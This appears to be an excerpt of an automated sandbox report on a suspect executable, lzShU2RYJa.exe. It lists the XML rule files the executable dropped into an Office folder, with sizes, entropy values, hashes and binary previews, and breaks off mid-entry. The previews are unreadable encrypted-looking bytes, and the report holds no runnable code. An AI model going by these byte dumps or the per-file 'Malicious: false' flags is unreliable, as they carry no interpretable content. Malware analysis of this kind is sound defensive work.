Preview:	<?xml.jk.....=..Z.DDN..yo.S.7... ..`..<....FK..........e.r...9.,f.Q.p........=Fhx`.q.P..A....<6.._d.....o9\|.t.....t...C..\.......k.B..Sm...X.$....^.})I..y..V.U.."Q.K...m.m...........9...Z....>.A.:-z...J..P.E.....jN..{.N.?<...G......-i...e...(......M.B[n..V...<.X..T........n...\..bI.._..}..R..E......].g{.\|H.r\.2^.)....MM.....2.6..........fB..p0..H.I.'k...iJ.o.u...7[.y.T...T.z....N...l....e...2.#.04O...c....GD.A^..S...H4L....Z\|.H..\...t..,%i..$..lc....(...H..x..[........G.02...cg.....{?...X>0.E.7-'.f....LI..&.1...PB..u.!..um.....s....+.t.w.'.......dl......g...#...&.^...@...q........0...%Y.$../K4h...P.^I..8.C..).\|..O.....j[.`..X....RJ.={.#.......!...n......@.X.&-.....;.G....D..?:.9....W]...t....:JK+.x.q.._..V.q./.v.....kIh3P....H+..q......yZ.J]...Il..{..q`u.Yki.$.m.".p.-x..t..U..W.....\|%........I'...m...M.....r.9mq...'.h..ak...2.t..b.$...8p0g.+&....p....+.0.._Ofd1}+.r..}...7>AR..y{..^.QY.{..\|.....t..+....[L.".G......:B.O.K.;o1.jP.;W}\9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.930171615429485
Encrypted:	false
SSDEEP:	48:rbxTJSdVs4BUYv1m27BIzjWQj/5tp85yQEKgAj0uOm//ZGMhAG6FD:zuD82izjWQtrQEKgO0U//ZN69
MD5:	0B01F8BCAD40C969AE858F1C60AE7720
SHA1:	1DA4595CF2B908B42E8CB2FEDF3AB9819CBA3D26
SHA-256:	C1638F6A9A4C62399694B4CDC83628A174143EFA8771D6D1331CB898C45C4A47
SHA-512:	A3964C00F3C1D7D37A92EF18FB459C291F54A8C49436E7A648B2A4E75FE97E3D3A878863C6D0E15D0038C115908B88015722079418B344994DB327F01AFCEBA6
Malicious:	false
Preview:	<?xml.....=n..../.tT........o..&.........O.q.%..>..s}.?.D./.>}.t}V..Ta..Q]o...F9.U.fDq.....Y..a$.-..J.......A..(..?...d.... B..Q.\}...Ii.M.rz..W..T.`\|..N.4.;...[.....p.....8..1~x....E.,....).[w+....v1..Z....(..y'?~..=0OQ.....tj...m...d-..^F...o...'..E..X3xH...u..m....rY3)...7..G..'\|b?...W...Q.]........S].JHwJ1!...d<&...j...2`...=..~^%]]P eS....}k......6...@l.BD..PG.....g5..1!G.?.."0...S...(.m...]O...R.....3...R.Ey...86".\n..X.....d...S.n.}.W..}.!..V..y.M.,.F..q?<..z......RB...v.....-....1h\...!L.......U.d[nyj8.c.LZ.....uG.d.....4...7.p....A.CB.......m.z.F...Zu.mc.{#..,...A.3^.w.)v........j.6VZE.".W.J.nK..i. .9.w.r-....T.(.l.C0'..........>/-0?.vM....o...)/Z.7.._.^.%...-^...oKP..Z...9..........\.#...[.0....H^J...c_J....@b....*.9.....\.On.mZ...<..&eWU.U........s..V....j.g..05O.....1..J>.].4.d...x'.........5..."..c.n.x.e5_\......>$...8..`..WAnL=.o7\|J(Kh.p.>.....]..z.h...X(V\..l..F....}'\|..znf"....U$.....rkSD..v..{.....D.._?r..[..GJ.R....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.923978895531689
Encrypted:	false
SSDEEP:	48:InpYxhGDg9hkWw/+1LkW3IxMT93uF/OOUeXhkByRw80mYx4G0qLIFD:UYxhGDgDkWw/kD3CMT9HOUeXhTYmYSGe
MD5:	50D8E33118A759E5771DF4B53AE5A6BB
SHA1:	E4E6CA72534346E65F86D3449A32A915E23901A4
SHA-256:	BE8E25006D0BD1DBEA748267F161262D726A874606072D021C65236609596FB7
SHA-512:	C2F657D967BC498D0782BCDFE2D093EDC4DF459B554A0E8B3A80D756BE0D6ED02032C9D360B6BE1DE7D943F8641E7FA56EE4AB005D27D36FFCD183FB5E955C78
Malicious:	false
Preview:	<?xml..\.d.:B\...Pp..>....k..ct..1.W[2+......P.n..q...VLPJ..&.)G.yh%.....6....}.F...1.?.."W..j....,..o..v.#.............!....ERJ."Fa..{...5..Oc.!j..(g0O?...o....9$Q.MO.D.......w.HJ...!_`.q.j1..1q..m...uoxj..V..1.1...{.Y....... .....%...-S....N..........k..;.<t..V...iQ...,.....A.4.....d....H.F... ......:8.!...=.....P..7.!.m.z.Q....p....u..Y.w.q.....9.#u..u%.T..Lb...}.(..).V^..........p.?G.e.l.....qV.O{\|..lz.v..[......vO.<.n.{._..(.FI.Y..z.v.Pr..i..H...........gvY....&..1.!0i:.(.).!#t.....-.`.n3...E..F.#.Q..0.+..nrE..7.U...b.8j...p.m.h.v...U....;.7.@...".h...-.0...0ou..$N.{.t.wX^1)O?2....%t.]!.u0..F..I....5.b...deH.1.../.T..F..6.{j..(..T.F.pc...%.g.z..1rJ.k....pR^... ..G.......gI_..~./.q...`..e..!..y-=.......\|...>.!..R,.B.<......".l.~..ti..@.d.A#.t&.>0.i.LCJ..T.>:..<.(...R2)aD].@)..6.a{hz.o.......b^[.>;.)...L!....X.pF.`..hLJ'..lo.Y.g.}...EC.UiE.9..Q......G..L....S.r.@..g:..R.O.q.LA...\6..4.....Y.K.tN.}..}.....yb.......i....z..=...H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68006v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	7.722611322417362
Encrypted:	false
SSDEEP:	24:5DXgWAH9yTPPgQ440ALhfR70u663cz2cMgcVbD:5LBA0TXgQ4JYhft08gMgcFD
MD5:	8A98BBDC0C77F9186A937CE7156C0C56
SHA1:	ABAB64C6F0E17E4DB65E6C42D2DF1A1F8BDEB73E
SHA-256:	B261451F2FC1445D59D09930E05830F3B912C48290D9ADCCF306B01479D4CE21
SHA-512:	09385A10065C728F1B5CBC5012773B7759081AE207172F7439BA95D58F4F3EFAABD10108413EAAE7CEE23747264B5CB77A6E05101911E21B8C3218504177ED11
Malicious:	false
Preview:	<?xml@.....w@....E.d{.5.3(......`.._......R.8^v...1j...jdV:V......R^...2.l.....{ik.....9..9.d..[..?..A.m/.S.~.:.(R.M....zTx..6X..j-Ie^.o.w..4.j.Tk....}ht)../..v!@*.m..b.q...j..a.8...c.k..Sd.R.._......[].F\|t..~..g9cj.6....T.J..c.M./..]h..?..!.l;.E4.r.].K".....4.y.._.[...l_k.......i....#.........~...r.E.Y..ar...?s..&. t..\o.?.M...o#Q/6T..Z.aW..-.....8f........"....Y}.,q.....D.i,..hDy..b..K4..j...D...........6.q?.;.0..c.T.^.0...!..-.H7."..$4...W..........#..3/.../.. .B.T.....A.d."........0..{.....w...ielJ~C.._...P..2#.8..A...x...S....^..r.n......~y=d.3.,3).`..._...!;....'ZM...q.3.d:....K.\|?w.....=..v.i@...:...E=1.Wk1z.>....Aj..d...dK.mhVn..m._@...I..t....Q...._.m.7M.<3\|....q..Z...I....8...5.....Fz...Y+.T...:.iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68008v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1010
Entropy (8bit):	7.8144595307930995
Encrypted:	false
SSDEEP:	24:DRN+WH2qRwJsze0AO+pi+BybwJmrtREfXApVbD:DRNtH2qRmszeJHFmrtRFD
MD5:	76E65182463DC2372B8EA3E7B4EB4858
SHA1:	F17609ED4D5136E5E72A61BD7759F0485E00E3E3
SHA-256:	EDF124E65FD8AB0FE455D73F964F1D3F7E801387DE271DAA906CDCF502653FA1
SHA-512:	7ACB15F1BD605777BB9163E21D405AED2055C447C9D82BE302527ACBAEE47C48F97C45AD7D9FF193790C66CAE99897779106CC60954B6489540F7A8853BD4EBF
Malicious:	false
Preview:	<?xml...f...!....762.x.4&....P...S#D..c.........M....'....P.wkn......l.%.8....s.]...7.,.o...+....u....d]...k..0....1.j../.1...&,.U.....Q...W.v.1..Y/.5.....;.=.....s...].^bTZ.9l..W..QR8-s..2?..@.j.5..'......A.H}..._..<..Ik>...b..4.a...m.....W..z...@k..L..g.Q'.Z...3....}.y>...X........U...^.b..h...D...R....]2!.4.Py%...}.z.3..p.J..a..$..u..=.`x..?q.~{.D..."J......A.>....../....V.Abn....f4.P...(..(4x}..I..}..I^.+.9.:....".-.........o.Q.1.[...8.G.\|.......>X.Z.z..J:...>....k........:..,4k.7..#&.T.r7....P.......A,....k....O...x...O....I.4.w...c.\|.yX_4.:.?.3.d.P....6..'...0/J.._....V'.....&..b.....u...u...^.%..0.*........4\|.wg.r.....p.....D.f.._..............k.......b..'..Sh...k$B1...S.a.A..v..\.Pu..P...nv_...C.2...&?...l=G99.T...]C...K.>..{g.MU@w.V.{3$i8.C(\|.$"Pe.".f"^..g....~"s.t3..$..p..=...c2.....H...x.^..o@..4ZRj....j.......E-^.._t....Zz.....>......<H.......Yi..Z......zY..witkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68009v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1380
Entropy (8bit):	7.8644264336077105
Encrypted:	false
SSDEEP:	24:g3ODiVtHwCZBGqJUgz0KvLm8YJgg2MfsIJr7iQkDXodcdpnnW7yHswyjVbD:gOOHwQBVJUgYyZY84simVXoYpnnsFD
MD5:	0EBE9D143F96093AE86620F1E87F8D6B
SHA1:	42FDE980CDCE871C420ED9FF746BAC3E1AD8082B
SHA-256:	96F1E550E87AB41A2289A70BCB73144DA448BD852EECAA040592C1281B0EE309
SHA-512:	6458729A9210075D41FEEA209B24B0529BA28C8C967E56A43EAB7CEBDE0AF9030D71E60E3924C43C8B6EDBBAA3C8A8A4E36EF37706675C656DB5376D9E1D6CF0
Malicious:	false
Preview:	<?xml.Q.N...X.6s..m..K.s.....8.T}L......2i...1...f....c15.G..yJ... ..Vb"X..t.v8DkOu......'...R.$"dq.o.k.R.f..R!...-....e..<.....HlN..7%.d]..]..N...m.(\|._...zq...vO.g)N....=...f-.&..-gp/..W.+].0.N.....Q.....Nk%r..x.3.;DLV....P.r..H.....j...%x.x.;.jZ.k.....,...z.E.....l.....J.W.ef.;.]><..%...aM......U.....R....T..6m.....\~.....5_.`.{J..J...,.^.Lv.....`....u8+.f.h~.~.m4eG.".R..KdF....I..L#o%Fp.~.Y..AJ\|U...dr.}D.:.............\Db....CS....V.$...B1.f.^.3"..%1.....P......0nEx.~h..L.I{. ....I4K6.#.,>^4.p.;..N..=...!_..:.T ..I.Q.V[O._.4_v%wN-."..-j...L2.n...t....t.C.zCg... .'.....\|...J0...l.X..4...1...NyE\|.f..m....'...=.M..RQj4.\|Q...WC:..."... ...2T.@.5..M....\|"..0=...~.aM......X............T..".H.s..(M.$.......U.>-.=9hB.Tl.1..l7..E....'^J...A.b;5,C.k..S.?.m5.9.s..B.....F..m.....b.)c..&.....NO..p.F<......Y..u..8I."<.....eD...m..W.......$V;.!..X..V........F...d.nu.nW.&U.H.%.+.Pg....NGa.......#.\=*~w.uW.8.........O.A"?.2q..v.......A.........0.op..h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68010v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	7.870891488890428
Encrypted:	false
SSDEEP:	24:aAnjQuNg/P1cO5rRd4zGxloHNHOeqoEuOrOjCiG0zHKbPvtlGtwIRI2VbD:ayjQN/t5rPyGxiNHI2CivHavtl2HFD
MD5:	3400EA4E0319E457E9D7AF3925661505
SHA1:	4FCCBAD1B1EF087856BB2037FCCCA4BC3D925065
SHA-256:	BD80200916BEDB43D24534580906593E0BDE391D5F060BBDEB622176AFF3F049
SHA-512:	8CA5AD8DAFA1B812C40ACBC316AC07F91290CA6ADB68E8125603A2A579322342073A6F3B6DC2ED0BB3B2A0CEFB3E2FB968FF39C3DE508CE044BEB809873306D3
Malicious:	false
Preview:	<?xml<".]hT.c.s.9.f.Kw......aG.q_..!.......T~B...l.C0..i...%.TT..7.....7QP..]...D=..E.)..u.M..a3.......\.nm.=G...>J..i.z.....^q......i.n.X..lv...q<xy..a...:..5.w.p..c......%'.W4.}./....X#..l...BDZ..Z.j`..=.Ww....F.K.j....q+h...e1..\..x..>..v~...s......J..;Tp.....s..C....K...+..[.g.7....z...'.\\.I%...R.n...\z...z7.z0.I....b....\'..b.X........u5k.u.i.PN..p...)US..!m.Tu8..l.[..>@a.."..g#..#.....\..a!O(..9.K\|.,.S}L..M.q..qv.F.$...bW...]......?....L....w..+..u....2v.!.W..L>..fY..oG.vB%..T._6.N..0..\...M..e>u.....$ug"Q........./.7u.y..f...m....3..x...S.2@.b}..n..........j.....=...yV.........G...\+."Ab!...w......6..A........\.X_qa2Y..SK..-!.j..$.v.Vb%...hSF2..(N...VLu5......g."?...qx4..3...oN8...!..D...x.....E..+...u.0..yhG\z...(../........L)... 8;...z. w.xI...Z.r.... H.H...a.I.~....ah...j~\..&B........S.Azs..oC$.\|q.{=jf...>....~.Tk...........F..\|5]%X.]..u;.4Q....4....Dw.i...,..ua..;U....#..g.!,...".@.&^..Ig..........s+..B....<.../..d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68011v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2753
Entropy (8bit):	7.922312538228922
Encrypted:	false
SSDEEP:	48:KDZ9VWrPldRaIazxwUqQCX/fI5OClXFOmxMciV6TXYH2rZbk33dDUSGcFD:KtGLgB+N1HiXdxXsH2FbeDUy9
MD5:	0208DDA5F23A5B6E452ADD557D29E1E7
SHA1:	A6E543EE50444AF2810DA5679A93CFB6491040BD
SHA-256:	5957B0854CA1E821B87B7ED4A2FC524AFDA23EFECDA4036C9D493849A931CF72
SHA-512:	9020605102EC42833E771E2CA434B4FC9D285E39F5D9F06A40B8CE8A323E9770E65B66C40B6B3360552E8C2D1CB34F7B65C2CD3B96A2F6E0B1E7C6F15BAAA13D
Malicious:	false
Preview:	<?xml.....O...L..z./........A~8<.6...X......7.1P.j0.......J.E7$.>..4N.)2_......D.i.....U..\f..J..F.QE......F.F....Wy......67U+.Z..\|.1..[.j..}1..[qL)...w.PX9X@U..2.Y.=w.0.=.}.=..}....O."N.c6..D.....5ld}B..........Bb..7~......\|.6..}._.V.3....f.xd....1.dP.85.9]..M..y.......e"..I.G....(..@`..?..<.q..;.<.1...\|...fn=s ..i.Q.{.o..&vL22.A...=..H..b.(..8nY.m.\|.........Q....,W.#.k.7.d.y.....YH...`..V...M.J..@q.)f..X3...w....%U%.d,......y...k.."..q(..d.\...Y.....oW.;.._? ./..Y..\|d........`.......}.8..}({+qa.gb[.l...7.SxB9z+8].....t.M....N....n.tZ..A.'Cq....kI...t.v.".....}h..y....!6:?.o.s.G. ...B.]...f......-......J.>..j...x..b....E...EB@..x.T..L\|4......~..'..;..},..li$....H.(\|.;...A..gH.VMT.H~.h...-..QL..G..:.m"g....S.N...].\V.K.we1.Tk...Az..F.....h...e.Z....]...ce....W75.Q.M..."F9..".7..g....t.Lr:.."8.@p..M..Wx(.'........R.n;.'u.2..!....3}..Af.n>.`.<....@..=.Li...Z..y.".=..?.}.?>.......Z#B..gm.&.&...x.g.q.%.n.Z..HC.D......ec....E9...>v..=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68012v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	7.877414367622504
Encrypted:	false
SSDEEP:	24:C/t+cGydnvdUQWA6KXvK4EA19lckedW+JR+PyXKdO9Jex6vgu8nFYPOUzV/R4TLi:KtC0nSLA2dtYMKecK8nabr4SWBVYFD
MD5:	1B6B7101D42969D3B0C94D55E42ECB48
SHA1:	F7FAC2EECD7E0112AFBC6204C16A11561D4233C5
SHA-256:	F3021CD0560AAE0A126C7244A38AC27506E0A360E1511E1645F4A234F1C66B22
SHA-512:	66CE083CADE16918200B847F7793B7A235FFEE18563F8E77A68F596BE657948C82056202399A7CE7639FC6BE662461B9AEAC2B484B5CEEA992C8108E3071B86F
Malicious:	false
Preview:	<?xml..yp.h..Z.U.....(..z.......(ye.zfs$.p..v.i~.T...B...3.&.1@.E..g.Zq.'..V.....1.<;..),V..t{...b..%.{9!...Y&J.$?..<.O.X.....c...T...... ..>1..h.w.)...J].....BPA.T.=tqx\..R+CO...9 .WN{!..Z.?..=....kor7a,^5.f%h..81%.U....S. H.....\(...S.....T%.JR.....~.....E..iaK..t.A..N...H~i...\|..1K....}..hf..H..Q.k_..........?"..E9Rg...i...tmLKy.Kf3...........[.....(.0.........../..L}b.Os..7`.....[.A.h...`....../'b..sN..Z.N........U.H.I..}.w"....}>hWF..-38......$..k..b..T....wJ....P.....0....I....G...U.G....=..d........[b.G...)...y..5..i}.c9LJ.k`5.!X.X.....!3.oQ....k.].w..)&...j.X.>..........r..<......,......3...n...x....,...z.^8.$".H.]..6.,.IG..E ..tr.H..)#.t..@.FNI,.H........,...4...0%..)qSB..."..g.\|Fy.[X4.....L.dI..B..8.\|....a...U...V5"..'....Y.\|f......R.. W..-...c.:..8.l.m~...A..i..i...j.H.d.....E\...D-.Ne..TE.../Va....80...G/"Ko.{.:....]?..y.../.r..S..c.{...i.x..h.9.....>,.$C<...E.j..8.{.}...(+@'...D..T;..s.Qz+...B!.d.=......].5\.%n....r...@2....m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.936449745079383
Encrypted:	false
SSDEEP:	48:wz6amKUffqOaf6PS3ke3LGeP6zH3mEJcWJGHYDxUNV/egchWFD:wnUl1y6eCzXmpWJqEimgMW9
MD5:	5C034E131BA6C3EB46C0AF6E982B8057
SHA1:	74577AA5C9171B3BADB71CAAE22EBDFC59B4B5C5
SHA-256:	42380015D794BC8063F1B491E0325A0C5FF9A5423C367B188C82ADFB3B7E3326
SHA-512:	559802392F838E786ABA46B81B7B889393595CC303D5C9D9E433E52BBCC357EC34441148CABD03736659D90A736BD604E1FB66532E45178E76172D5AA0EE24AC
Malicious:	false
Preview:	<?xml..-...Z.C.)W\Tz.....N..5..$..X..Hj@.GK$...<..]...z.a..Y.i....w..7=y?b..`+...L.\|..%.]....Z.7.U......N.S.<.K..6e..k.PXA'.....J?..Uf..{W.....F.r..y..D..I.>.TQ;.o...Cs...%.....E).d..M..C....AOgL.....q........U....Z...[..O^j.a.w<.3.(=......^....'39.\|...q$j...x.XQ....#....@g..=....W..Ig.n.r..2R...F.......X[.....Oh..K. .}.?..D........Ie.R.....-..7......!n.....^.'...A.I.6^"...M.,6..7D.a.......g...;..{..({...SI.W.l.c.#..C....S...%..J.."......c.}..p..L..>.wp...?...w.p...X.&>.1.@.jFPn..q.gY...iQ.O~u...~....-.F.B=..RR..FPQ.u..e..Gn./...=.opf.".if.f..dy."....,E.......G;..[.u.i..Nd..Q.)b.r.i.6Y.....7.'..K]f.9..x.mh:)....=+......j....F.xE0..2..u.[......_..(...x./...C..}/....J..Y.H+h....5.o.=..[...+M.\|..-.e...M.X.a.y.b..;z.}i.i.*....S.].~L..dt..U.NG.......o.8...C..M._VY..uTT)....ZlU.c..\|..G..J...........tf...n.sp......<YY...3.../P+.2'.>z..H.)..>.l..q...o.g.#D...;.9".l.`.....1CG.ei...f.)..~8?......E...T..(.?`.Ddx...k...ZF......R:.^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.871871865958269
Encrypted:	false
SSDEEP:	48:2XPHoJbMfwHeDoGHcbFEb+WIKxO37hCURxptqFD:2XPICfxDdHiFEqWpxK7EkDq9
MD5:	1DF0334AA4870B40247A73F5BBB5E71A
SHA1:	C8061D664E640B7A12C3E0DD5E17A80BB0D0BB57
SHA-256:	C7CE2E38B597E71CBEF25D5035D824DD1FFB57B6ADAF2138BE005301F6A22719
SHA-512:	5B0CA0C201FD6564DA8970869364BEEBF76C87FB797F6FD59649A646063B6AB9BB699558796DFA6ED2D44C5C09E6BEF0E68E49BB89D4B70B0C22D27255AF4170
Malicious:	false
Preview:	<?xmlOK..z0.e..cB..IFA...u....T..H. [.m.....E.....TM.(........u.Dz..Wq...U....8.....-.$c#...\|....S..~.C..5.R.>.".y4/#c"O....<.e..o..2...#<....<7-..v..u..?..TP.......EP.d...-W.s.C\..o..4"..d+.C...H..#....4Q.....B.R:;.L........7.f5.H4...s..U.i....!F.+...a.m....Kz..4.5URx+hp....B..MKW...=..W....`U. .%.5.P.J=.x..;.......f.u'.q.]...0D.<i}.F....[....=E3.$.R......t.c.\|.f..M..?jRP..T.....x.V....L$.[.}xw'...Z..ZD.e.Zy..G....j./.p..>-..m..l.5.[..,..".7C.......xY.........f.....NH.QO5..-...>+3x..A... [....H..r..;..O4[..e.....V.......T.xO?.b.4.Q...1t..U.._..247..Mg{.Fe.dr.....X.p.kn#....pu.._.\|.i:....R..Se..6...A..D....M...b...^.xH.(.n..j.}*.z.Ps....[.V........lN5......o6.."..L{..........+.......q..s'..x:.?....p....N..e..^~)..9.S.w.J..,\..?...w...0..OW"y.y.8....i.G..0.].&.#zh{`?..q'<..7.. .g."3..?..1.....Z.`iH.....N-...u............X.Q..\|?..T...bc....f....!....h..Ea..n.E....m..U..'6p.........O..!..e.g .}.xr;.C ..@."X.22...h....i$..:........}z....1.%<..Bl...(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.800224618880913
Encrypted:	false
SSDEEP:	24:mk2y9IvT9HxJjwnlKzvpkvmsm/O4NTs54THYXDEQ8QzQSINVbD:m8q9KKzxkbYI54T4TwQztsFD
MD5:	149526EBF39FF94E71E40505105F7E44
SHA1:	43884A6FFA97E0D1D4E712C6378A38E6305F3862
SHA-256:	F8DE5F7E35135837C5F236DC882CC7658C6EC7E28F94055D3567B3FA80F96677
SHA-512:	193B3C6D2A8D636477BC2C29FC3805B95C0D78E8956B555CD09C148DDA9DA1D59EE76FD5BEA2736A7EC6D659CE27EF1C907237E1E617CE5CB71FD8071BC6D3EF
Malicious:	false
Preview:	<?xmly../.L....=....#U.w.....z_.7.F...&...gc}..t..T...j.@.....:.1.G ...k..X6J....=rz....B...lg......./@.1...z..<gf.Yi$K........s'./.0.J...x..4....mPcm..a..../.T.E.\|..@YG.....K.M].T....AG....2..T)1.1`.k.._..&/.^e.J5..y(c.,Fzy...tm=...p.l....0...j....s.B..pk..=...8..5.4rZ..e.H.....Y.H.F..[.D...;.4..8.z.H.p?.!....}}..U..kPC..X.n.%t.n..Dh...<............hO.;...o&...iV......G....K.)).X.ti.M....}_...4$M.'.w_Eb..t.KJq.H.Q!...2Us.j...y...jJ...o...i.Eo-..eo<j.....^+'...#......7....x}.L...1z...&^.u-\|W.......y.G..n...+.s.u2......t..a....l.kl.7M^..$...t.H.K.J.D]..)..'H..h]x..pRO.?..E..n....r..Y.....].;O......n.P.h...\#.......].r.@......\|8@Pd..e:.8...J....E...Q...:.<..0r]..o..fO..p.{..[.C.[?...x.*.p!..HH..N.....?..!..FM.Q.....{H1wG<..&....m:.1..p.....^.>6Xbz.,.......\|..\|.vw.%QV..Sib8...c.L.!S.x.....m......r....^_..C,pc...Lc`....,......!..U.OoI0...6U8....8.5{.)7.5z..B..............T.Qh..n\.. r.@Y..)R.zT&...70DJ&......}Xs........Xq)....cU2b...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.788718845530409
Encrypted:	false
SSDEEP:	24:+bjsd7theUb1eS++xeV6oyCd/hmjNRR2a+Az3qP+WVbD:GjsdB81+xeL/hIF7qmWFD
MD5:	6246FB98F1786A103F8CBF88437B08DB
SHA1:	F8BDF94864A639F12CA664C9B74D88E7A3CA02D9
SHA-256:	4742139AF9EC0AFBDECD773BAC0A21D3B16957D670B52E3430C93A1FDC80ACB8
SHA-512:	E31F961718F62E2A25A99BA6D20ED20F56C3AA7753655883385E28B7DED6A1A2DAE01CC992273940E32B29B71877376B6150E8F5E3BC90C9B22F5DC738BEE78A
Malicious:	false
Preview:	<?xml.c.4Vm..8...\W.5:#._...CP%.%.l-.X...d..[I..O........M3.0...5L.tAm.qg..k.\.@Z].B.;...)..\|}..,.^b-.J..._.:/$W.....'.O.....M..+...u.gMa.$.q..7.n..WCmbe.x......Pk\Y+..$Cx...;..@\.L..gt\- .&..+,2+......d1....~..3..e.t.Q#.{t.. .W@_...}....R.Th...!m.xe.J.%...U.R`..$[.O..L..\|.kD....l.t[i.K..^.S-:.p.T.)..Y...!.e.T?..t....Rc..PJ.\(s>E....d.2'.]...3$.....2Vv.0..........K..aX"...Z..Y!P.."!K.#hF.6uH..>.})sPx.e.5.[o.N..3..........)!OS.V.\Q........v..J.y.f.+.f"-..jz...lh.x.._.s...#..4B.A...Vt.\l2A.ZR,n.V&f.( e.......I......pd....?d..........d].j..{....a._.= ...U.D.........vM.e...O.LK..C.P..TW..E..x..-....qC.....`$.^dr`.t)..7...M.5J..;..G_8y?.M.....L^........dZ.7wOT...........b.S`...Vl.1#.F...ys9..C..."......Y...{..S....R=...S.zF...f{j..O.[Ez....H:.=...f....!..:h....gy.....&...`...}.....A.x.i...$....g}:.M...+.T........y..a..\|_.....+jz...;.-t...s..>.@..Q...~....].a..`.,).u"...Citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.825618448376717
Encrypted:	false
SSDEEP:	24:Qj8AGB4sebWn353j7afvXt2LA5QLj5hDO68TA9nuRAa4PRVbD:QYXysB3JCvXtBQnDIMMAauFD
MD5:	7DC3DBED457085D60874D4288021296F
SHA1:	E7C865D2C8036A5BC7A0BA9CD66E87FA559A37C4
SHA-256:	29AC4DC3900990BE20784E8B466A0A9085D45D1BF3450CB2C71827BE15AFC2B2
SHA-512:	05EB7EAC880EB4BAA9A0B505AE2C8963920CC16D44430806E6C8364F2CBB3D7C6F53C4972B2AE401F2D5E529944D580343C67A52EF9209832BA37E481C45C592
Malicious:	false
Preview:	<?xml.........o.e.h..4..H..H......#..........j=o.S....h...B...,.........H,9m. ...^...m$&.....!......D.-"..K...a]3.>.i.O..T..9.....$..6E..^+...x.=..rP"Y....j..2/...Q<>..x..RER../=.}3b...9....G....#^..;H...0U...?.l..x.z..0.'....j.{b.i.C.I)./\/1...#[P....1S.}.....^<..P\>;..2;.4.l^B...>\...d..,..o...u...kI......W.U.....#/5...U...[<..,.]%.\.&....B\S.E...M<7.....C!...`.y....S..VzC.n.....IF.......-h...)B.....;.7...Y.....{..G A.J$.!.....F".8...............O.O.z?;=E.@s...o.J..@.0..t.&......M.....w..n.L.G8.....r..vj.X.......;Nn.!......v..2^.F:..t.-....&2/. .?\|..I.N .d.F.".3..W.:............`g....WS...k;.C.uf.0#f.\[;.^.'5.`<.&r9.Q.....i...G9...<T.16....CRZ(y.@cx..S.B].B...`...U.U.o..!G~....N4.`.....,."....>..a..-Qt...7.........=c'4...H\|.b... 0..b..^.if$..:.c...!...#...<5,.".O..\|..[.)`}./7...>...y...I.Q.faj....>.d.t....QUKy...v...l....?...f....#F..1t1p....c.A...qy..:.!a....{...~.(.._...xn=C.=sR.-l.A.IM.....S..bb.U..&s......o....Y..&.x....2.Hi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.819256515235144
Encrypted:	false
SSDEEP:	24:2wgxK8aheqAWYTWcbFQ73dfW6ounxzy4F8bxKAheXkXUgt26RSZFYpuiIVbD:kxK8gAs3FW6oqxzyU8bthym26cF5FD
MD5:	F1A0D860982CE2DD12E1DFE26095D14B
SHA1:	E03C535AAAD2551C373444ACFBD99B4E06B68688
SHA-256:	724AE058888D315C04A8C571CF0D95276BEAFD36A9C186F25D11293D035EE705
